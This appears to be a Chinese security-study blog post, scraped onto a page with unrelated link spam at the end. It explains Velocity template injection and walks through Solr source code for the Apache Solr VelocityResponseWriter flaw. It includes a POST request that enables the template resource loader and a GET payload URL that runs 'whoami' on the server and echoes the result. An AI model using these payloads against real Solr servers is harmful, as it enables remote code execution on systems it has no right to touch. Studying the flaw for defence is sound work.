当前位置: 首页 > news >正文

网站语言包是什么安徽网站开发推荐

网站语言包是什么,安徽网站开发推荐,wordpress网站怎么进入后台,微信公众号网站开发语言前言 学过 freemaker#xff0c;学过 Thymeleaf 模板注入#xff0c;但是还没有学过 Velocity 模板注入#xff0c;然后学习一个知识最好的方法就是要找一个实际中的例子去学习#xff0c;好巧不巧#xff0c;前端时间还在分析 apache solr 的 cve#xff0c;这次又搜到…前言 学过 freemaker学过 Thymeleaf 模板注入但是还没有学过 Velocity 模板注入然后学习一个知识最好的方法就是要找一个实际中的例子去学习好巧不巧前端时间还在分析 apache solr 的 cve这次又搜到了 Apache Solr 的 Velocity 模板注入漏洞开始学习启动感觉结合一个例子来学学得还是比较理解到的 Velocity 模板注入基础 首先搭建一个环境因为这样边写边学才能学得更快 Pom.xml 文件 ?xml version1.0 encodingUTF-8? project xmlnshttp://maven.apache.org/POM/4.0.0xmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsdmodelVersion4.0.0/modelVersiongroupIdorg.example/groupIdartifactIdvelocity/artifactIdversion1.0-SNAPSHOT/versionpropertiesmaven.compiler.source8/maven.compiler.sourcemaven.compiler.target8/maven.compiler.targetproject.build.sourceEncodingUTF-8/project.build.sourceEncoding/propertiesdependencies!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity-engine-core --dependencygroupIdorg.apache.velocity/groupIdartifactIdvelocity-engine-core/artifactIdversion2.0/version/dependency/dependencies/project 直接复制粘贴就 ok #和$和set #用来标识Velocity的脚本语句包括#set、#if 、#else、#end、#foreach、#end、#include、#parse、#macro等语句。 $用来标识一个变量比如模板文件中为Hello $a可以获取通过上下文传递的$ a import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString #set($a \ooyywwll\) Hello $a;VelocityContext context new VelocityContext();StringWriter writer new StringWriter();Velocity.evaluate(context, writer, test, templateString);System.out.println(writer.toString());} } 输出 Hello ooyywwll 获取属性 paylaod 改为 #set($ee)$e.getClass() 输出 class java.lang.String 当然还有.的这种形式 context.put(user, new User(aaaa));hello, $user.name!输出 hello, $user.aaaa! 执行恶意命令 看下面的一个例子 import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity;import java.io.StringWriter;public class Test {public static void main(String[] args) {Velocity.init();String templateString #set($e\e\)\n $e.getClass().forName(\java.lang.Runtime\).getMethod(\getRuntime\,null).invoke(null,null).exec(\calc\);VelocityContext context new VelocityContext();StringWriter writer new StringWriter();Velocity.evaluate(context, writer, test, templateString);System.out.println(writer.toString());} } 其实和我们的 spel 表达式几乎没有区别 开启配置 因为需要模板注入还需要在配置文件中设置一下 在官方文档中搜寻一下如何修改配置或者看一些文章 参考https://blog.csdn.net/zteny/article/details/51868764 SolrConfigHandler提供一个实时且动态的获取和更新 solrconfig.xml 配置的功能。其实这么说并不准确但可以先这么理解。因为 SolrConfigHandler 并没有直接更新 solrconfig.xml而且是在 zookeeper 中的 solrconfig.xml 同目录下生成一个 configoverlay.json 文件用于存储更新配置项。格式当然是 json 了啦。 SolrConfigHandler 主要提供两个功能查询配置信息和更改配置信息。对应 SolrConfigHandler 也是非常清晰获取配置信息用 METHOD.GET而更改配置信息用的是 METHOD.POST 所以我们就需要使用 METHOD.POST 方法去修改配置 可以发送如下的请求 POST /solr/demo/config HTTP/1.1 Host: 192.168.177.146:8983 Content-Length: 259 Cache-Control: max-age0 Origin: http://192.168.177.146:8983 Content-Type: application/json Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7 Referer: http://192.168.177.146:8983/solr/demo/config Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q0.9 Connection: keep-alive{update-queryresponsewriter: {startup: lazy,name: velocity,class: solr.VelocityResponseWriter,template.base.dir: ,solr.resource.loader.enabled: true,params.resource.loader.enabled: true} } 然后我们再次使用获取配置信息用 METHOD.GET 可以看到params.resource.loader.enabled 已经开启 这个的调试分析就算了因为重点是学习模板注入 模板注入调试分析 按照模板注入的特点我们可以全局查找一下 template.merge 是否存在模板注入 可以看见是可能存在模板注入的 这里给出 paylaod 方便调试分析 http://192.168.177.146:8983/solr/demo/select?q1wtvelocityv.templatecustomv.template.custom%23set($x%27%27)%23set($rt$x.class.forName(%27java.lang.Runtime%27))%23set($chr$x.class.forName(%27java.lang.Character%27))%23set($str$x.class.forName(%27java.lang.String%27))%23set($ex$rt.getRuntime().exec(%27whoami%27))$ex.waitFor()%23set($out$ex.getInputStream())%23foreach($iin[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 这个 paylaod 的复杂点在于获取命令执行后的回显如果只执行命令的话是比较简单的 首先需要明确一点渲染模板是用来回显的至于 apache solr 的基本流程以前的文章已经说过了而且网上也很多核心就是模板渲染是为了回显的所以我们关注代码的时候也是重点关注生成响应的代码 call:558, HttpSolrCall (org.apache.solr.servlet) 决定了我们这次请求的类型 switch (action) {case ADMIN:handleAdminRequest();return RETURN;case REMOTEQUERY:SolrRequestInfo.setRequestInfo(new SolrRequestInfo(req, new SolrQueryResponse()));remoteQuery(coreUrl path, resp);return RETURN;case PROCESS:final Method reqMethod Method.getMethod(req.getMethod());HttpCacheHeaderUtil.setCacheControlHeader(config, resp, reqMethod);// unless we have been explicitly told not to, do cache validation// if we fail cache validation, execute the queryif (config.getHttpCachingConfig().isNever304() ||!HttpCacheHeaderUtil.doCacheHeaderValidation(solrReq, req, reqMethod, resp)) {SolrQueryResponse solrRsp new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we dont get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp));execute(solrRsp);if (shouldAudit()) {EventType eventType solrRsp.getException() null ? EventType.COMPLETED : EventType.ERROR;if (shouldAudit(eventType)) {cores.getAuditLoggerPlugin().doAudit(new AuditEvent(eventType, req, getAuthCtx(), solrReq.getRequestTimer().getTime(), solrRsp.getException()));}}HttpCacheHeaderUtil.checkHttpCachingVeto(solrRsp, resp, reqMethod);IteratorMap.EntryString, String headers solrRsp.httpHeaders();while (headers.hasNext()) {Map.EntryString, String entry headers.next();resp.addHeader(entry.getKey(), entry.getValue());}QueryResponseWriter responseWriter getResponseWriter();if (invalidStates ! null) solrReq.getContext().put(CloudSolrClient.STATE_VERSION, invalidStates);writeResponse(solrRsp, responseWriter, reqMethod);}return RETURN;default: return action;} } 这里是 PROCESS然后很明显的构造请求的方法是 writeResponse 但是前面的参数也是很重要的 我们的输入都存储在 SolrQueryResponse solrRsp new SolrQueryResponse();/* even for HEAD requests, we need to execute the handler to* ensure we dont get an error (and to make sure the correct* QueryResponseWriter is selected and we get the correct* Content-Type)*/ SolrRequestInfo.setRequestInfo(new SolrRequestInfo(solrReq, solrRsp)); 进入writeResponse 方法 private void writeResponse(SolrQueryResponse solrRsp, QueryResponseWriter responseWriter, Method reqMethod)throws IOException {try {Object invalidStates solrReq.getContext().get(CloudSolrClient.STATE_VERSION);//This is the last item added to the response and the client would expect it that way.//If that assumption is changed , it would fail. This is done to avoid an O(n) scan on// the response for each requestif (invalidStates ! null) solrRsp.add(CloudSolrClient.STATE_VERSION, invalidStates);// Now write it outfinal String ct responseWriter.getContentType(solrReq, solrRsp);// dont call setContentType on nullif (null ! ct) response.setContentType(ct);if (solrRsp.getException() ! null) {NamedList info new SimpleOrderedMap();int code ResponseUtils.getErrorInfo(solrRsp.getException(), info, log);solrRsp.add(error, info);response.setStatus(code);}if (Method.HEAD ! reqMethod) {OutputStream out response.getOutputStream();QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct);}//else http HEAD request, nothing to write out, waited this long just to get ContentType} catch (EOFException e) {log.info(Unable to write response, client closed connection or we are shutting down, e);} } 可以看到获取了 ContentType请求的方法请求的输出 此时的响应还没有完全形成 因为这只是最基本的响应后面还需要渲染而我们输入的参数就决定了如何渲染,处理是在 QueryResponseWriterUtil.writeQueryResponse(out, responseWriter, solrReq, solrRsp, ct); public static void writeQueryResponse(OutputStream outputStream,QueryResponseWriter responseWriter, SolrQueryRequest solrRequest,SolrQueryResponse solrResponse, String contentType) throws IOException {if (responseWriter instanceof BinaryQueryResponseWriter) {BinaryQueryResponseWriter binWriter (BinaryQueryResponseWriter) responseWriter;binWriter.write(outputStream, solrRequest, solrResponse);} else {OutputStream out new OutputStream() {Overridepublic void write(int b) throws IOException {outputStream.write(b);}Overridepublic void flush() throws IOException {// We dont flush here, which allows us to flush below// and only flush internal buffers, not the response.// If we flush the response early, we trigger chunked encoding.// See SOLR-8669.}};Writer writer buildWriter(out, ContentStreamBase.getCharsetFromContentType(contentType));responseWriter.write(writer, solrRequest, solrResponse);writer.flush();} } 这段代码的主要功能是将查询响应结果写入输出流 然后进入 responseWriter.write 方法 这里我们的 responseWriter 是 VelocityResponseWriter 当然这样的流还有很多 主要和我们的输入有关系 protected QueryResponseWriter getResponseWriter() {String wt solrReq.getParams().get(CommonParams.WT);if (core ! null) {return core.getQueryResponseWriter(wt);} else {return SolrCore.DEFAULT_RESPONSE_WRITERS.getOrDefault(wt,SolrCore.DEFAULT_RESPONSE_WRITERS.get(standard));} } 我们的 paylaod wt 是等于 velocity public void write(Writer writer, SolrQueryRequest request, SolrQueryResponse response) throws IOException {VelocityEngine engine createEngine(request); // TODO: have HTTP headers available for configuring engineTemplate template getTemplate(engine, request);VelocityContext context createContext(request, response);context.put(engine, engine); // for $engine.resourceExists(...)String layoutTemplate request.getParams().get(LAYOUT);boolean layoutEnabled request.getParams().getBool(LAYOUT_ENABLED, true) layoutTemplate ! null;String jsonWrapper request.getParams().get(JSON);boolean wrapResponse layoutEnabled || jsonWrapper ! null;// create outputif (!wrapResponse) {// straight-forward template/context merge to outputtemplate.merge(context, writer);}else {// merge to a string buffer, then wrap with layout and finally as JSONStringWriter stringWriter new StringWriter();template.merge(context, stringWriter);if (layoutEnabled) {context.put(content, stringWriter.toString());stringWriter new StringWriter();try {engine.getTemplate(layoutTemplate TEMPLATE_EXTENSION).merge(context, stringWriter);} catch (Exception e) {throw new IOException(e.getMessage());}}if (jsonWrapper ! null) {for (int i0; ijsonWrapper.length(); i) {if (!Character.isJavaIdentifierPart(jsonWrapper.charAt(i))) {throw new SolrException(SolrException.ErrorCode.BAD_REQUEST, Invalid function name for JSON : jsonWrapper );}}writer.write(jsonWrapper ();writer.write(getJSONWrap(stringWriter.toString()));writer.write());} else { // using a layout, but not JSON wrappingwriter.write(stringWriter.toString());}} } 可以发现是在这里渲染的模板 最后 也是才开始学习这个模板注入分析了这个 cve 后对大概的挖掘流程和解析流程还是比直接看学得好了一点
http://www.dnsts.com.cn/news/167104.html

相关文章:

  • 做翻译兼职的网站是哪个网站开发只要
  • 网站备案 幕布wordpress下载不了
  • 网站建设硬件设备专用车网站建设价格
  • 杭州外贸网站建设公司排名wordpress 上传模板
  • 网站备案 强制佛山网站建设公司怎么样
  • 易语言做返利网站做红包图片的网站
  • php网站程序怎么安装大型网站开发 c
  • 农村建设自己的网站正版全平台内容系统
  • 石家庄外贸网站建设公司有专门做预算的网站没
  • 镇江网站排名公司wordpress购买会员升级
  • 外贸网址建站代做企业网站备案
  • 为什么做网站需要服务器wifi扩展器做网站
  • 优良网站网站开发业务介绍
  • 网站添加微信支付功能国内公关公司
  • 一个主体如何添加网站安徽建设干部学校网站
  • 成都网站建设推广服务长沙网站建站公司
  • 网站建设 丽水住房和城乡建设部网站办事大厅里边
  • 那个公司做网站好常用网站开发语言的优缺点
  • 建发公司简介太原seo网站优化
  • 西安哪家网站建设公司好关于网站建设的指标
  • 无锡网站建设维护网站改版应该怎么做
  • 网站用什么程序做的佛山专业网站开发公司
  • 网站建设电话销售话术模板大全网站续费价格
  • 长沙公司网站网站开发项目中职责
  • 移动网站建站视频如何进行网站设计规划
  • 网站300m是什么意思网站自身seo优化怎么做
  • 存储网站建设网站建设子栏目怎么弄
  • 如何自己免费制作网站上海的网络推广公司
  • 网站类别标签文本wordpress博客常用插件
  • 贵州省铜仁市住房和城乡建设局网站网站制作推广